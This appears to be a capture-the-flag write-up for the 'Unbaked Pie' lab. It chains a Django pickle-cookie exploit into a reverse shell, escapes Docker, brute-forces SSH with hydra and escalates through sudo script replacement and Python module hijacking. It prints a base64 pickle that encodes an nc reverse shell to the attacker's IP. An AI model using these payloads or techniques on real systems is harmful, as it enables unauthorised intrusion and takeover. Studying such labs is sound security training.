Unbaked Pie

Django Pickle deserialization - Docker Escape - Local port Forwarding via SSH - Cracking ramsey's SSH Password - Lateral Move - Abusing SETENV variable for root

Scanning

Starting off with the nmap scan

PORT     STATE SERVICE    VERSION
5003/tcp open  filemaker?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 05 Jun 2021 05:28:13 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=gUg8DDUyJ5P5vaMKslwVHlS7qW7Q5vYjs4UxckkYelW73hYuVAHq8hLZqB7EWefU; expires=Sat, 04 Jun 2022 05:28:13 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|     <link href="/static/vendor/fontawesome-free/css/all.min.cs
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 05 Jun 2021 05:28:13 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=rwqtwMQ29bIScFVPUUG4IoatqxRpw1jCThInxLE125FUHiakfnwMMATVxzIaymtl; expires=Sat, 04 Jun 2022 05:28:13 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|_    <link href="/static/vendor/fontawesome-free/css/all.min.cs

Enumeration

The scan reveals only one port, so we can quickly examine it - Browsing the robots.txt page leads to a 404 error page with the below debug message as DEBUG is set to True in the Django application - Thus confirming its a Django application running in the backend !

Page not found (404)
Request Method:     GET
Request URL:    http://10.10.101.128:5003/robots.txt

Using the URLconf defined in bakery.urls, Django tried these URL patterns, in this order:

    admin/
    [name='home']
    share [name='share']
    search [name='search']
    about [name='about']
    <slug:slug> [name='detail']
    accounts/
    ^static/(?P<path>.*)$
    ^media/(?P<path>.*)$

The current path, robots.txt, didn't match any of these.

Let's crawl the website manually

Let's search for something using the search functionality and intercept the request

The search cookie looks suspicious and ends with equals (==) - Possibly Base64 !

After we make a POST request to /search, the backend server send the response along with a new cookie called search_cookie which looks like the python serialized object, let's confirm it !

$ python3            
>>> import pickle
>>> import base64
>>> s = "gASVCQAAAAAAAACMBWFwcGxllC4=="
>>> base64.b64decode(s)
b'\x80\x04\x95\t\x00\x00\x00\x00\x00\x00\x00\x8c\x05apple\x94.'
>>> pickle.loads(base64.b64decode(s))
'test'

Initial Foothold

So we got to know that the server is serializing the objects sent, we can quickly find a way to exploit this serialization vulnerability to get a reverse shell - After a bit of googling

Running the script gives me the following base64 encoded pickle

$ python3 makepickle.py 
b'gASVaAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE1ybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC44LjUwLjcyIDQ0NDQgPi90bXAvZpSFlFKULg=='

We can now insert this serialized value into our search cookie parameter and forward the request and meanwhile turn on our listener !

Now we have a reverse shell. We are root but there is no flag in the /root directory, and it seems that we are running in a docker environment

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ nc -nlvp 4444         
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.101.128] 36542
/bin/sh: 0: can't access tty; job control turned off
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@8b39a559b296:/home# id
id
uid=0(root) gid=0(root) groups=0(root)
root@8b39a559b296:/home# cd /root
cd /root
root@8b39a559b296:~# ll
ll
bash: ll: command not found
root@8b39a559b296:~# ls -la
ls -la
total 36
drwx------ 1 root root 4096 Oct  3  2020 .
drwxr-xr-x 1 root root 4096 Oct  3  2020 ..
-rw------- 1 root root  889 Oct  6  2020 .bash_history
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root 4096 Oct  3  2020 .cache
drwxr-xr-x 3 root root 4096 Oct  3  2020 .local
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw------- 1 root root    0 Sep 24  2020 .python_history
drwx------ 2 root root 4096 Oct  3  2020 .ssh
-rw-r--r-- 1 root root  254 Oct  3  2020 .wget-hsts
root@8b39a559b296:/home/site# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Escaping Docker

The .bash_history file discloses and interesting command, and we understand that ramsey is a valid user to the SSH connection to the main host !

root@8b39a559b296:/home/site# cat /root/.bash_history
cat /root/.bash_history
nc
exit
ifconfig
ip addr
ssh 172.17.0.1
ssh 172.17.0.2
exit
ssh ramsey@172.17.0.1
exit
cd /tmp
wget https://raw.githubusercontent.com/moby/moby/master/contrib/check-config.sh
chmod +x check-config.sh
./check-config.sh 
nano /etc/default/grub
vi /etc/default/grub
apt install vi
apt update
apt install vi
apt install vim
apt install nano
nano /etc/default/grub
grub-update
apt install grub-update
apt-get install --reinstall grub
grub-update
exit
ssh ramsey@172.17.0.1 <---------------------- interesting
exit
ssh ramsey@172.17.0.1
exit
ls
cd site/
ls
cd bakery/
ls
nano settings.py 
exit
ls
cd site/
ls
cd bakery/
nano settings.py 
exit
apt remove --purge ssh
ssh
apt remove --purge autoremove open-ssh*
apt remove --purge autoremove openssh=*
apt remove --purge autoremove openssh-*
ssh
apt autoremove openssh-client
clear
ssh
ssh
ssh
exit

I tried to ping the external IP from the docker env

Okay we can talk with the external IP, but when I tried to access SSH from the docker container but I hit a dead end since I didn’t have the necessary software on the docker container to access it

The only best option would be Remote Port Forwarding to our localhost and crack it via hydra !

On the docker container i did set up a port forwarding client

Let's just confirm if we can access the SSH service from my localhost and YES we could

Let's now try brute-forcing the password via hydra

We can now logon to the server with these valid creds !

Lateral Move ( ramsey => oliver )

Running sudo -l we see that we can execute a python script called vuln.py as the user Oliver without knowing the users password

ramsey@unbaked:~$ sudo -l
[sudo] password for ramsey: 
Matching Defaults entries for ramsey on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ramsey may run the following commands on unbaked:
    (oliver) /usr/bin/python /home/ramsey/vuln.py

First let's check the file permissions

ramsey@unbaked:~$ ls -l /home/ramsey/vuln.py 
-rw-r--r-- 1 root ramsey 4369 Oct  3  2020 /home/ramsey/vuln.py

Seems like we only got READ access over the file, now let's examine the vuln.py

ramsey@unbaked:~$ cat vuln.py 
#!/usr/bin/python
# coding=utf-8

try:
    from PIL import Image
except ImportError:
    import Image
import pytesseract
import sys
import os
import time


#Header
def header():
    banner = '''\033[33m                                             
                      (
                       )
                      __..---..__
                  ,-='  /  |  \  `=-.
                 :--..___________..--;
                  \.,_____________,./
         

██╗███╗   ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗   ██╗████████╗███████╗
██║████╗  ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗  ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║  ███╗██████╔╝█████╗  ██║  ██║██║█████╗  ██╔██╗ ██║   ██║   ███████╗
██║██║╚██╗██║██║   ██║██╔══██╗██╔══╝  ██║  ██║██║██╔══╝  ██║╚██╗██║   ██║   ╚════██║
██║██║ ╚████║╚██████╔╝██║  ██║███████╗██████╔╝██║███████╗██║ ╚████║   ██║   ███████║
╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝
\033[m'''
        return banner

#Function Instructions
def instructions():
    print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
    print "\t\t\t","1. Calculator"
    print "\t\t\t","2. Easy Calculator"
    print "\t\t\t","3. Credits"
    print "\t\t\t","4. Exit"
    print "\t\t\t",28 * "-"

def instructions2():
    print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
    print "\t\t\t","1. Add"
    print "\t\t\t","2. Subtract"
    print "\t\t\t","3. Multiply"
    print "\t\t\t","4. Divide"
    print "\t\t\t","5. Back"
    print "\t\t\t",28 * "-"
    
def credits():
    print "\n\t\tHope you enjoy learning new things  - Ch4rm & H0j3n\n"
    
# Function Arithmetic

# Function to add two numbers  
def add(num1, num2): 
    return num1 + num2 
  
# Function to subtract two numbers  
def subtract(num1, num2): 
    return num1 - num2 
  
# Function to multiply two numbers 
def multiply(num1, num2): 
    return num1 * num2 
  
# Function to divide two numbers 
def divide(num1, num2): 
    return num1 / num2 
# Main      
if __name__ == "__main__":
    print header()
    
    #Variables
    OPTIONS = 0
    OPTIONS2 = 0
    TOTAL = 0
    NUM1 = 0
    NUM2 = 0

    while(OPTIONS != 4):
        instructions()
        OPTIONS = int(input("\t\t\tEnter Options >> "))
            print "\033c"
        if OPTIONS == 1:
            instructions2()
            OPTIONS2 = int(input("\t\t\tEnter Options >> "))
            print "\033c"
            if OPTIONS2 == 5:
                continue
            else:
                NUM1 = int(input("\t\t\tEnter Number1 >> "))
                NUM2 = int(input("\t\t\tEnter Number2 >> "))
                if OPTIONS2 == 1:
                    TOTAL = add(NUM1,NUM2)
                if OPTIONS2 == 2:
                    TOTAL = subtract(NUM1,NUM2)
                if OPTIONS2 == 3:
                    TOTAL = multiply(NUM1,NUM2)
                if OPTIONS2 == 4:
                    TOTAL = divide(NUM1,NUM2)
                print "\t\t\tTotal >> $",TOTAL
        if OPTIONS == 2:
            animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]

            print "\r\t\t\t     Waiting to extract..."
            for i in range(len(animation)):
                time.sleep(0.5)
                sys.stdout.write("\r\t\t\t         " + animation[i % len(animation)])
                sys.stdout.flush()

            LISTED = pytesseract.image_to_string(Image.open('payload.png')) 

            TOTAL = eval(LISTED)
            print "\n\n\t\t\tTotal >> $",TOTAL
        if OPTIONS == 3:
            credits()
    sys.exit(-1)

However, the file is in our home folder, and we can rename it - Let’s take advantage of this to replace its content

ramsey@unbaked:~$ cat > /home/ramsey/vuln2.py << EOF
> #!/usr/bin/python
> import pty
> pty.spawn('/bin/bash')
> EOF
ramsey@unbaked:~$ mv vuln.py vuln.bak
ramsey@unbaked:~$ cp vuln2.py vuln.py 

Now, running our modified copy will grant access as oliver

ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
oliver@unbaked:~$ id
uid=1002(oliver) gid=1002(oliver) groups=1002(oliver),1003(sysadmin)

Privilege Escalation

Running the sudo -l again return us

oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oliver may run the following commands on unbaked:
    (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py

Our new user can run dockerScript.py as root without password, and can set the environment variable as well (SETENV)

Looking at the python script we only have read and execute permission and not write access

But taking a closer look at the script we can see that it imports a docker module

And since we can control the path the script uses to import the docker module

  • We can create a malicious module which when executed it will drop us on a root shell

Next we create a __init__.py file and a docker.py file which will contain the malicious python code

Let’s create a malicious python code in the docker.py file

We can now simply change the default path for the execution which will land us on a root shell !

Last updated